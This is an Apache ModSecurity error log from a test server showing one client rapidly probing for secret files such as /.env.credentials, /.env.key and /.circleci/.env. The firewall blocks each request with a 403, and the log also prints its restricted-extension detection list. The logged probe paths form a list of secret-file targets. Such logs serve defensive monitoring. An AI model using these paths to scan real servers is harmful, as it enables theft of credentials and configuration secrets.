[Mon Jul 28 20:45:59.916444 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpwAAAAAI&quot;]
[Mon Jul 28 20:45:59.916612 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpwAAAAAI&quot;]
[Mon Jul 28 20:45:59.986658 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpwwAAAAI&quot;]
[Mon Jul 28 20:45:59.986906 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpwwAAAAI&quot;]
[Mon Jul 28 20:45:59.987099 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpwwAAAAI&quot;]
[Mon Jul 28 20:46:00.009682 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxAAAAAI&quot;]
[Mon Jul 28 20:46:00.009945 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxAAAAAI&quot;]
[Mon Jul 28 20:46:00.010183 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxAAAAAI&quot;]
[Mon Jul 28 20:46:00.032733 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bkp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxQAAAAI&quot;]
[Mon Jul 28 20:46:00.032980 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxQAAAAI&quot;]
[Mon Jul 28 20:46:00.033189 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxQAAAAI&quot;]
[Mon Jul 28 20:46:00.055748 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxgAAAAI&quot;]
[Mon Jul 28 20:46:00.055992 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxgAAAAI&quot;]
[Mon Jul 28 20:46:00.056185 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxgAAAAI&quot;]
[Mon Jul 28 20:46:00.078789 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.email&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxwAAAAI&quot;]
[Mon Jul 28 20:46:00.079051 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxwAAAAI&quot;]
[Mon Jul 28 20:46:00.079241 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpxwAAAAI&quot;]
[Mon Jul 28 20:46:00.101836 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hidden&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpyAAAAAI&quot;]
[Mon Jul 28 20:46:00.102082 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpyAAAAAI&quot;]
[Mon Jul 28 20:46:00.102270 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpyAAAAAI&quot;]
[Mon Jul 28 20:46:00.124755 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hide&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpyQAAAAI&quot;]
[Mon Jul 28 20:46:00.125005 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpyQAAAAI&quot;]
[Mon Jul 28 20:46:00.125203 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpyQAAAAI&quot;]
[Mon Jul 28 20:46:00.147510 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpygAAAAI&quot;]
[Mon Jul 28 20:46:00.147777 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpygAAAAI&quot;]
[Mon Jul 28 20:46:00.147968 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpygAAAAI&quot;]
[Mon Jul 28 20:46:00.170209 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpywAAAAI&quot;]
[Mon Jul 28 20:46:00.170389 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpywAAAAI&quot;]
[Mon Jul 28 20:46:00.170622 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpywAAAAI&quot;]
[Mon Jul 28 20:46:00.170803 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpywAAAAI&quot;]
[Mon Jul 28 20:46:00.193276 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.mail&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzAAAAAI&quot;]
[Mon Jul 28 20:46:00.193546 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzAAAAAI&quot;]
[Mon Jul 28 20:46:00.193741 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzAAAAAI&quot;]
